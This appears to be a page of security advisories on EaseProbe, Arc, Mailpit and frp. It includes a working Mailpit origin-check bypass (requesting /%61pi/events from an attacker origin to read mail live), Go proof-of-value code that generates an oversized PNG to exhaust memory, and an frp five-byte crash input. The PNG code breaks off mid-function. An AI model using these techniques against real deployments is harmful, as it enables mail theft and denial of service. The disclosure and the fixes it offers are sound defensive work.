Threat Intelligence Database

A flaw has been found in MegaEase EaseProbe up to 2.3.0. Affected is the function realIP of the file web/server.go of the component Middleware. This manipulation of the argument X-Forwarded-For/X-Real-IP/True-Client-IP causes improper access controls. The attack can be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Arc is an open, SQL-native time-series database for telemetry. Versions prior to 26.06.1 register Go's `net/http/pprof` handlers at `/debug/pprof/*` via `app.Use(pprof.New())` in `internal/api/server.go`, and `/debug/pprof` is added to `PublicPrefixes` in `cmd/arc/main.go`. The auth middleware short-circuits before the token check on prefix match, so the endpoints are reachable without any authentication. Version 26.06.1 contains a patch. Some workarounds are available. Block `/debug/pprof*` at a reverse proxy / load balancer in front of Arc, restrict Arc's API port to known-trusted networks via firewall rules, and/or patch the running build: comment out `app.Use(pprof.New())` in `internal/api/server.go` and rebuild.

## Summary The cross-site WebSocket hijacking fix was reimplemented as an origin check gated on a raw-URI prefix test, but Go's ServeMux routes on the percent-decoded path, so requesting /%61pi/events reaches the WebSocket handler while skipping the only origin control, and the upgrader itself accepts every origin. Confirmed at HEAD 408b30d. Affects 1.29.0 through 1.30.5. ## The defect Two halves that were each correct in isolation. server/websockets/client.go accepts any origin and delegates the check elsewhere: ```go var upgrader = websocket.Upgrader{ // line 33 ... CheckOrigin: func(_ *http.Request) bool { // line 37 // origin is checked via server.go's CORS settings return true // line 39 }, } ``` server/server.go performs that check but keys it on the RAW request target: ```go if strings.HasPrefix(r.RequestURI, config.Webroot+"api/") || htmlPreviewRouteRe.MatchString(r.RequestURI) { // line 320 if allowed := corsOriginAccessControl(r); !allowed { http.Error(w, "Blocked due to CORS violation", http.StatusForbidden) return } ``` r.RequestURI is the untouched wire target; Go's ServeMux routes on the percent-DECODED path. So for /%61pi/events: `strings.HasPrefix("/%61pi/events", "/api/")` is FALSE (origin check skipped), ServeMux decodes %61 to "a" and routes to /api/events, and the upgrader's CheckOrigin returns true. Measured, default config, no auth: /api/events with `Origin: https://evil.example` returns 403; /%61pi/events with the same Origin returns 101 Switching Protocols and begins streaming. With a message delivered over SMTP while the cross-origin socket was open, the attacker origin received the ID, Message-Id, From, To, Cc, Bcc, Subject ("SECRET password reset token abc123"), size, tags, and body Snippet, live. WebSockets are not subject to CORS response-header enforcement, so the absent Access-Control-Allow-Origin header provides no protection once the upgrade succeeds. Regression provenance: commit 6f1f4f3 (2026-01-10, v1.28.2) fixed CVE-2026-22689 by DELETING CheckOrigin; commit a63bcd9 (2026-01-31, first in v1.29.0) reintroduced CheckOrigin returning true and replaced the protection with the bypassable raw-prefix test. ## Attacker model and verification Any website the developer visits while Mailpit is running. No credentials, no ability to send mail, no interaction beyond visiting a page. Requires Mailpit without --ui-auth-file (the default, and the same precondition as the original CVE). The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair; authentication still holds (the encoded path returns 401 when --ui-auth-file is set); browser reachability was confirmed against the WHATWG URL parser, which preserves %61. ## Suggested fix Do not make security decisions on r.RequestURI. Key the check on r.URL.Path, the decoded value the router uses, so the gate and the route agree. Better, restore a real CheckOrigin on the upgrader so the WebSocket carries its own origin enforcement rather than depending on a middleware prefix match. Secondary (Low, not claimed as XSS): server/apiv1/message.go lines 154-155 echo an attacker-chosen Content-Type with Content-Disposition: inline; this is blocked today by the nonce CSP. ## Tooling I used AI assistance while investigating. The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair and the authenticated 401 case, and I separately confirmed at HEAD the CheckOrigin returning true with its delegating comment and the RequestURI-keyed prefix gate.

## Summary Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail. ## Technical Details The route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`: ```go a, err := storage.GetAttachmentPart(id, partID) // ... if !strings.HasPrefix(a.ContentType, "image/") { blankImage(a, w) return } buf := bytes.NewBuffer(a.Content) img, err := imaging.Decode(buf, imaging.AutoOrientation(true)) ``` `storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded. The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage. The UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `<img src>` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly. ## PoV The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`. The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG. ```go package apiv1 import ( "bytes" "compress/zlib" "encoding/base64" "encoding/binary" "fmt" "hash/crc32" "net/http" "net/http/httptest" "path/filepath" "strings" "testing" "github.com/axllent/mailpit/config" "github.com/axllent/mailpit/internal/logger" "github.com/axllent/mailpit/internal/storage" "github.com/kovidgoyal/imaging" ) func pngChunk(kind string, data []byte) []byte { var out bytes.Buffer _ = binary.Write(&out, binary.BigEndian, uint32(len(data))) out.WriteString(kind) out.Write(data) crc := crc32.NewIEEE() crc.Write([]byte(kind)) crc.Write(data) _ = binary.Write(&out, binary.BigEndian, crc.Sum32()) return out.Bytes() } func solidRGBApng(width, height int) []byte { var out bytes.Buffer out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'}) ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(width)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(height)) ihdr[8] = 8 ihdr[9] = 6 out.Write(pngChunk("IHDR", ihdr)) var compressed bytes.Buffer zw := zlib.NewWriter(&compressed) row := make([]byte, 1+width*4) for i := 0; i < height; i++ { _, _ = zw.Write(row) } _ = zw.Close() out.Write(pngChunk("IDAT", compressed.Bytes())) out.Write(pngChunk("IEND", nil)) return out.Bytes() } func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) { for _, tc := range []struct { name string width int height int }{ {name: "negative-control", width: 16, height: 16}, {name: "oversized-attachment", width: 4096, height: 4096}, } { t.Run(tc.name, func(t *testing.T) { payload := solidRGBApng(tc.width, tc.height) img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true)) if err != nil { t.Fatalf("decode failed: %v", err) } thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos) if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight { t.Fatalf("unexpected thumbnail

frp is a fast reverse proxy. From 0.53.0 until 0.70.1, frp's optional SSH Tunnel Gateway in pkg/ssh/server.go parses an SSH exec channel request by adding 4 to an attacker-controlled four-byte big-endian length. A length of 0xFFFFFFFF makes the uint32 addition wrap to 3, defeats the payload bounds check, and causes payload[4:3] to panic in TunnelServer.handleNewChannel. When no authorized-keys file is configured, sshConfig.NoClientAuth permits an unauthenticated peer to reach this channel phase before the frp token is checked, so a single five-byte request terminates the frps process and drops every active tunnel. This issue is fixed in version 0.70.1.